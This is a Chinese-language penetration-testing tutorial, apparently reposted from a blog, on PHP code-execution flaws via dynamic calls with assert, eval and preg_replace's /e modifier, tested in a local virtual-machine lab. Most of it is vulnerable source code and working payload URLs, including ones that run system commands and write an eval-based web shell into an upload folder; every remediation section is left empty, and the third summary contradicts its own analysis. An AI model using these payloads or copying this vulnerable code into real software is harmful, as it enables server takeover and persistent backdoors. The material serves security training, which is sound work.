91.网络安全渗透测试—[常规漏洞挖掘与利用篇7]—[代码执行漏洞与利用]

本文阅读 6 分钟
首页 代码,C/C#/C++ 正文

我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!!

一、代码执行漏洞简介

1、代码执行漏洞概念:

       当应WEB用在调用一些字符串转化为代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码注入漏洞(代码执行漏洞)。

2、代码执行函数:

二、代码执行漏洞利用

1、动态代码执行漏洞

(1)实验环境:

1.靶机环境
(1)虚拟机Ubuntu【192.168.97.133/exp】【www.webtester.com】
(2)PHP 5.5.9-1ubuntu4.27
(3)Apache/2.4.7 (ubuntu)

2.攻击主机:
(1)虚拟机win7【192.168.97.130】【www.exploit.com】
(2)工具:firefox+hackbar+burpsuite

3.实验网络:
(1)Vmware的NAT连接

(2)靶机链接:

http://www.webtester.com/code/code01.php?a=assert&b=m_print()

(3)漏洞描述:

1.使用哪个代码执行函数?
2.以什么方式调用代码执行函数中的字符串?
3.用户对转化为代码的字符串是否可控?

(4)漏洞分析:

1.0 漏洞点:code01.php

1.1 关键源码分析:code01.php

<?php
    function m_print(){ 
        echo '这是一个页面';
    }
    $_GET['a']($_GET['b']);
?>

1.2 漏洞分析:

1.使用哪个代码执行函数?
    可以自己控制
    
2.以什么方式调用代码执行函数中的字符串?
    以动态变量引入的方式调用代码执行函数中的字符串
    
3.用户对转化为代码的字符串是否可控?
    完全可控

(5)漏洞利用:

1.0 测试: assert 可以执行php里面的一些函数比如phpinfo()、system()、var_dump()、fputs()、fopen()等等。

payload-1:http://www.webtester.com/code/code01.php?a=assert&b=phpinfo() img

payload-2:http://www.webtester.com/code/code01.php?a=assert&b=system(id) img

payload-3:http://www.webtester.com/code/code01.php?a=assert&b=var_dump(qwsn) img

payload-4:http://www.webtester.com/code/code01.php?a=assert&b=fputs(fopen("../upload/shell.php","a"),"<?php phpinfo();eval($_POST[123]);?>")

img img img img

(6)漏洞修复:

(7)漏洞总结:

1.使用哪个代码执行函数?
    可以自己控制
    
2.以什么方式调用代码执行函数中的字符串?
    以动态变量引入的方式调用代码执行函数中的字符串
    
3.用户对转化为代码的字符串是否可控?
    完全可控

4.assert代码执行函数的使用
    assert(phpinfo());
    assert(system(id));
    assert(var_dump(qwsn));
    assert(fputs(fopen("../upload/shell.php","a"),"<?php phpinfo();eval(\$_POST[123]);?>"));

5.一句话中需要添加一个反斜杠,否则写不进入
    eval(\$_POST[123]);?>");

2、eval代码执行漏洞

(1)实验环境:

1.靶机环境
(1)虚拟机Ubuntu【192.168.97.133/exp】【www.webtester.com】
(2)PHP 5.5.9-1ubuntu4.27
(3)Apache/2.4.7 (ubuntu)

2.攻击主机:
(1)虚拟机win7【192.168.97.130】【www.exploit.com】
(2)工具:firefox+hackbar+burpsuite

3.实验网络:
(1)Vmware的NAT连接

(2)靶机链接:

http://www.webtester.com/code/code02.php?data=%E6%9A%97%E6%9C%88%E5%9F%B9%E8%AE%AD%E7%B3%BB%E7%BB%9F

(3)漏洞描述:

1.使用哪个代码执行函数?
2.以什么方式调用代码执行函数中的字符串?
3.用户对转化为代码的字符串是否可控?

(4)漏洞分析:

1.0 漏洞点:code02.php

1.1 关键源码分析:code02.php

<?php  
    $data = isset($_GET['data'])?$_GET['data']:'这是一个eval漏洞页面';  
    @eval($ret = $data);  
    echo $ret;
?>

1.2 漏洞分析:

1.使用哪个代码执行函数?
    eval()代码执行函数
    
2.以什么方式调用代码执行函数中的字符串?
    以动态变量引入的方式调用代码执行函数中的字符串
    
3.用户对转化为代码的字符串是否可控?
    完全可控

(5)漏洞利用:

1.0 测试:eval可以执行php里面的一些函数比如phpinfo()、system()、var_dump()、fputs()、fopen()等等,需要注意,与assert不同的是,eval()函数内的函数必须要以分号结尾,否则无效。

payload-1:http://www.webtester.com/code/code02.php?data=phpinfo(); img

payload-2:http://www.webtester.com/code/code02.php?data=system(id); img

payload-3:http://www.webtester.com/code/code02.php?data=var_dump(qwsn); img

payload-4:http://www.webtester.com/code/code02.php?data=fputs(fopen("../upload/shell2.php","a"),"<?php phpinfo();eval($_POST[123]);?>");

img img img img

(6)漏洞修复:

(7)漏洞总结:

1.使用哪个代码执行函数?
    eval()代码执行函数
    
2.以什么方式调用代码执行函数中的字符串?
    以动态变量引入的方式调用代码执行函数中的字符串
    
3.用户对转化为代码的字符串是否可控?
    完全可控

4.assert代码执行函数的使用
    eval(phpinfo(););
    eval(system(id););
    eval(var_dump(qwsn););
    eval(fputs(fopen("../upload/shell2.php","a"),"<?php phpinfo();eval(\$_POST[123]);?>"););

5.一句话中需要添加一个反斜杠,否则写不进入
    eval(\$_POST[123]);?>");

6.eval与assert不同的是,其内部的函数需要使用分号结尾,否则无效果。
    eval(phpinfo(););
    assert(phpinfo());

3、正则代码执行漏洞

(1)实验环境:

1.靶机环境
(1)虚拟机Ubuntu【192.168.97.133/exp】【www.webtester.com】
(2)PHP 5.5.9-1ubuntu4.27
(3)Apache/2.4.7 (ubuntu)

2.攻击主机:
(1)虚拟机win7【192.168.97.130】【www.exploit.com】
(2)工具:firefox+hackbar+burpsuite

3.实验网络:
(1)Vmware的NAT连接

(2)靶机链接:

http://www.webtester.com/code/code03.php

(3)漏洞描述:

1.使用哪个代码执行函数?
2.以什么方式调用代码执行函数中的字符串?
3.用户对转化为代码的字符串是否可控?

(4)漏洞分析:

1.0 漏洞点:code03.php

1.1 关键源码分析:code03.php

<?php  
    $data = $_GET['data'];  
    preg_replace('/<data>(.*)<\/data>/e','$ret = "\\1";',$data);  
?>
<form>
    <label>请输入你的数据</label>
    <input type='text' name='data'/>
    <input type='submit' value='提交'/>
</form>

1.2 漏洞分析:

1.使用哪个代码执行函数?
    preg_replace()代码执行函数
    
2.以什么方式调用代码执行函数中的字符串?
    以动态变量引入的方式调用代码执行函数中的字符串
    
3.用户对转化为代码的字符串是否可控?
    部分可控

1.3 preg_replace /e修正符的危险: 传送门1传送门2

(5)漏洞利用:

1.0 测试:preg_replace可以执行php里面的一些函数比如phpinfo()、system()、var_dump()、fputs()、fopen()等等。

payload-1:http://www.webtester.com/code/code03.php?data=<;data>{${phpinfo()}}</data> img

payload-1:http://www.webtester.com/code/code03.php?data=<;data>{${system(id)}}</data> img

payload-1:http://www.webtester.com/code/code03.php?data=<;data>{${var_dump(qwsn)}}</data> img

payload-1:http://www.webtester.com/code/code03.php?data=<;data>{${fputs(fopen("../upload/shell.php","a"),"<?php phpinfo();eval(\$_POST[123]);?>")}}</data> 【失败】

(6)漏洞修复:

(7)漏洞总结:

1.使用哪个代码执行函数?
    eval()代码执行函数
    
2.以什么方式调用代码执行函数中的字符串?
    以动态变量引入的方式调用代码执行函数中的字符串
    
3.用户对转化为代码的字符串是否可控?
    完全可控

4.assert代码执行函数的使用
    前提:preg_replace('/<data>(.*)<\/data>/e','$ret = "\\1";',$data); 
    姿势1:preg_replace('/<data>(.*)<\/data>/e','$ret = "\\1";','<data>{${phpinfo()}}</data>'); 
    姿势2:preg_replace('/<data>(.*)<\/data>/e','$ret = "\\1";','<data>{${system(id)}}</data>'); 
    姿势3:preg_replace('/<data>(.*)<\/data>/e','$ret = "\\1";','<data>{${var_dump(qwsn)}}</data>');
本文为互联网自动采集或经作者授权后发布,本文观点不代表立场,若侵权下架请联系我们删帖处理!文章出自:https://blog.csdn.net/qq_45555226/article/details/122769074
-- 展开阅读全文 --
KillDefender 的 Beacon 对象文件 PoC 实现
« 上一篇 02-09
Web安全—逻辑越权漏洞(BAC)
下一篇 » 03-13

发表评论

成为第一个评论的人

热门文章

标签TAG

最近回复